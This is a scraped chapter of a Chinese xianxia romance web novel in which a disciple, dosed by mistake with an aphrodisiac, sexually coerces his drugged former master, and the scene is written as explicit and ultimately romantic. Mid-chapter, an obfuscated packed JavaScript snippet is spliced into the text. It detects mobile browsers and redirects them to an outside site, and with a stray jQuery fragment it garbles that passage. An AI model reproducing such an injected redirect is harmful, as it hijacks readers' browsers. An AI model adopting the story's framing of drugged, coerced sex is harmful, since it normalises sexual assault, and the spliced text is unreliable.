默认冷灰
24号文字
方正启体

42. 春潮

作者:翻糖小姐本书字数:K更新时间:
    下一刻,段驰龙仰起头,将水喝了个一干二净。凌云渚呼吸一滞,眼睁睁看着对方脸颊泛起红晕。


    段驰龙俯身压下来,将他抵在床榻,声音发哑。


    “给我下这种药,是在邀请我吗?”


    那人的呼吸太过灼热,逼得他往后退。


    不对。


    凌云渚后知后觉地反应过来。


    他怎么不晕?


    不对,不对!


    脑中晃过一个荒谬的念头,他还没来得及确认,铺天盖地的吻便压了下来。


    好烫好烫。


    段驰龙将他的手腕固定在上空,又重又狠地啃咬,像疾落的骤雨。凌云渚胡乱挣扎起来,仓皇间不知扯到哪里,袖口中的东西哗啦掉了一地。


    包装散落,吴憾留的迷药散得满地都是,凌云渚匆匆一瞥,大脑嗡地震了一下。


    所以……刚刚那粒药是什么?


    许是贴得太近,段驰龙的体温顺着传过来,他竟也感觉身体散出热意。


    那颗药丸……


    久远的记忆被拉近,凌云渚像被一锤子敲中脑袋,整个人咚地震了一下。


    他终于后知后觉地想起——


    当时商店大促,他为了不暴露身份,特地选了“扮猪吃虎糖丸”赠品,封锁灵力。而真正购买的那样东西,则被他随手塞到袖口中,和迷药混在一起。


    凌云渚白了脸,999推销时的欢乐机械音仿佛又在耳畔响起。


    无色无味可溶于水,只需一颗便能让目标烈火焚身神魂颠倒!


    那是他最为瞧不起的,若非特殊情况绝对不会购买的——


    激情四射小药丸。


    唇瓣一疼,凌云渚松了防御,被轻而易举撬开牙关。对方来势汹汹,将一粒药丸渡了过来。舌尖推得很深,凌云渚咳不出又躲不掉,本能吞下,心都凉了半截。


    丝丝甜味在口腔化开,凌云渚又急又气,情急之下啪地甩过去,总算挣脱束缚,撕心裂肺地咳嗽起来。


    这一巴掌力道不轻,生生在脸上扇出个红印。段驰龙却毫不在意,欣赏着凌云渚的狼狈样,饶有兴致。


    “咳再用力也没用,药早就化了。”他好心提醒,“不如留点力气,省得一会儿喊累。”


    凌云渚发狠地盯着他,哑着嗓子:“你要做什么?”


    “这话该我问吧?”段驰龙笑了,“药是你下的,你要做什么?”


    激、情、四、射!


    这四个字摆在那里,还能做什么?!


    药丸生效很快,他开始出汗,呼吸也变得沉重。凌云渚咬牙起身,跌跌撞撞向门口跑去,四肢止不住地发软。


    段驰龙出乎意料地没拦他,血色瞳孔盯着他背影,微微发亮。那是野兽进食前的目光,捉到猎物并不急着食用,非要先来一出瓮中捉鳖的戏码,将对方的精力耗尽了,没力气动弹挣扎了,才肯慢条斯理地将猎物吞吃入腹。


    凌云渚扑到门前,绝望地发现推不开。他喘着粗气,听见背后传来脚步声,不紧不慢,仿若闲庭信步。


    “我在玉霄阙设了结界,还屏退了一切闲杂人等。”段驰龙道,“以你为中心,我保证,方圆十里都找不到一个人。”


    凌云渚扶着门把滑到地面,将脸埋入臂弯。虽然看不见,却能清晰察觉到背后之人在贴近,说话时呼吸喷在他耳侧,带着笑音。


    “现在除了我,没人能救你,所以,你可以开始求我了。”段驰龙敛下眸,一字一顿,“如果你还愿意听我叫一句——”


    “师尊。”


    凌云渚猛然转身,惊雷劈到天灵盖。


    凉透了半身血。


    “你……”他面露骇然,“你一直都……”


    一直都知道?!


    “是啊。”段驰龙笑起来,“不过现在,我没耐心演下去了。”


    【系统……】


    凌云渚在心中急急唤着,像抓紧最后一根救命稻草。


    【系统!小九?小九!小九!】


    “没用的。”段驰龙怜悯地瞧着他,“我用了些手段,它现在听不见。”


    咚!


    最后一点微渺希望也沉了底,凌云渚又急又气,小腹似有蚂蚁啃噬,泛着细细密密的痒。


    那双眼睛突然凑得很近,隐隐显露出癫狂。段驰龙捧着他脸颊,像捧着最为爱惜的珍宝,眸中却尽是恨意。


    凌云渚毛骨悚然,又想起对方喜怒无常的模样。


    掀开伪装后,假意的温情被一颗药烧得干干净净,那些被压抑、忽视的委屈和愤慨,轰地喷涌而出,如烈火燎原,直上九天。


    “现在,轮到我问了。”他含血嚼恨,“那天,你——为什么把我逐出师门?!”


    他从未有过如此激动的时刻,不管不顾的模样仿佛要一剑将他戳穿。凌云渚喉咙像被堵了块湿布,他不敢硬抗,手脚并用地往后爬,又被抓着腰扯回来。


    “你答应过我不收温阑!”段驰龙道,“是你自己答应我的,为什么,凭什么食言?!”


    脖颈一疼,段驰龙从背后环住他,以一个覆盖的姿势将他扣在怀里,呼吸喷在耳侧。


    “我做错了什么?凌云渚,你告诉我,我做错了什么?”他手心用力,声音却愈发委屈,“你可怜可怜我,告诉我,好不好?好不好?”


    凌云渚拼命摇头,涌上窒息感。


    “那天,我在雨里等了你整整一个时辰,你呢?!你连面都不愿露,让你那新徒弟出来把我赶走!是不是只有他们都死了,你才能真正看到我?


    “上辈子这辈子,永远都是这样,永远都是他温阑得你青眼!我早就想杀了他,连着谢九州一起杀,让他们去地底下当一对亡命鸳鸯,你说好不好?


    “那天我想动手的,可你知道温阑说什么吗?”


    他突然松了力道,凌云渚大口大口喘着气,一边咳嗽,一边摇头。


    对方短促地笑了一下,苦涩又自嘲。


    “他说,我要是杀了他,我们之间就彻底断了。”


    “你对他真好啊,凌峰主。”段驰龙指尖下滑,绕着细腰打转,“捏准我的软肋,专门把刀子往我心口扎。”


    热意在体内流淌,滚过四肢百骸,顺着血液淌入经脉。浪潮一层层堆叠,刷地冲上来,凌云渚终于忍不住,轻轻扭动身子:“难受……”


    “哪里难受?”段驰龙俯下身,掌根贴着他身体,“这里?这里?还是……哦,这里。”


    凌云渚打了个惊颤,突然剧烈挣扎:“你……松手!”


    “躲什么?”段驰龙愈发粗暴,像在借此发泄,“不是你说的难受么?我是在帮你。”


    “不要……你帮!”凌云渚咬牙挤出几个字,“你——放肆!”


    “鬼城是你自愿来的,药也是你下的,我可从来没逼过你。”段驰龙笑得更为阴冷,“现在引火烧身,自食恶果,不要我,你要谁?”


    “段驰龙——”凌云渚又羞又恼,索性闭上眼。


    他活到现在,还从未有过这种经历,明明一开始只是想迷晕段驰龙偷走阴玉


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16255274|182057||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。


    怎么会……事情怎么就变成这样了?!


    “要我啊?”耳垂传来湿热的触感,“放松点,快好了。”


    凌云渚撑在地面,膝盖被压得通红。他感觉自己像一朵绵软的云,吸饱了沉甸甸的水汽,闷湿的风一吹,便哆嗦着漏下几滴雨。


    眼前晃过茫茫一片白,耳中只剩下段驰龙的嗓音,逐字逐顿,声声刺骨。


    “凌云渚,我恨死你了。”


    凌云渚喘着粗气,还没缓过神,便见眼底视角一转,整个人被轻飘飘扛到了肩上。


    他闷哼一声,小腹被颠了几下,身下一空,咚地落在床榻。紧接着,炽热的吻接踵而至。


    好晕,天地都是晃的,像喝醉了酒坐在摇船里,碰上汹涌大浪,几乎要溺毙在潮水中。


    “今晚没人会来打扰,新仇旧账,我们一起算。”段驰龙嗓音甜得发腻,“师尊,我想看你原来的样子。”


    说着,他轻轻摸了摸凌云渚的脸,乔装霎时剥落,露出一张更为惊艳的面容,柳眉杏目,清冷绝尘。


    那人俯视着他,高高在上,和他被逐出师门那天,凌云渚的眼神一样。


    这个认知让段驰龙激动到浑身颤抖,赤瞳泛着血色,像燃在雪地里的冰酒,他逐渐失控。


    “从哪里开始呢?”他恶劣地笑起来,“就从,戒律牢算起,好不好?”


    “二十鞭。”他有商有量,“一鞭一次,不过分吧?”


    什么?


    凌云渚茫然一瞬,下一刻,便被突如其来的刺激逼得仰起头。他“啊”地短叫一声,像条缺水的鱼一样蹦了一下,胆裂魂飞。


    “那里不行!”他头皮都炸了起来,“我刚刚、刚刚已经……”


    “好吧,那就勉强算一次。”段驰龙善解人意,“还剩十九次,你怎么还呢?”


    他嘴上说着,手也不停,拈花似的挑开衣襟,另一只手在半空挥了挥,连片明灯便如婆娑蝶影,刷地灭了个干净。


    凌云渚听见两人的心跳声,愈发急促,渐渐交叠在一起。被褥摩擦着发出细响,在黑暗中清晰可闻。


    凌云渚将自己崩成一根弦,将断未断。陌生又强烈的触觉混着对未知的恐惧,或许还夹着一丝自己都没意识到的委屈。


    他终于抛戈卸甲,低低哭出声来。


    “呜……段驰龙!”他一边挡脸,一边胡乱擦着眼泪,有些破罐破摔的意味。


    身上那人诡异地顿住了。


    他不该停下的,段驰龙想。


    他应该居高临下地看着凌云渚崩溃绝望,大快人心。


    他应该狠狠报复回去,让他明白什么是撕心肺裂,生死不能。


    他应该掐着凌云渚脖颈,将他拉下神坛,和自己共沉沦。


    可最后一刻,他看到了那双眼睛,沾着泪,惊惶又恐惧,是从未见过的模样。


    于是,爱意弥天亘地,将恨掩埋。


    段驰龙叹了口气,俯下身,把他搂在怀里。


    “别怕,别怕。”他轻声道,“这药不解不行,你相信我,好不好?”


    凌云渚埋在他怀里,低低抽噎。


    “就一下,很快就好,我保证。”段驰龙抚摸着他头发,“都交给我,疼就咬我。”


    他安抚了好一会儿,怀中的人才轻之又轻地点了下头。


    药效催得人浑身燥热,段驰龙把动作放得很慢,一下下轻啄着他,像无声的抚慰。


    出其不意。


    凌云渚闷哼一声,重重咬在他肩膀。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)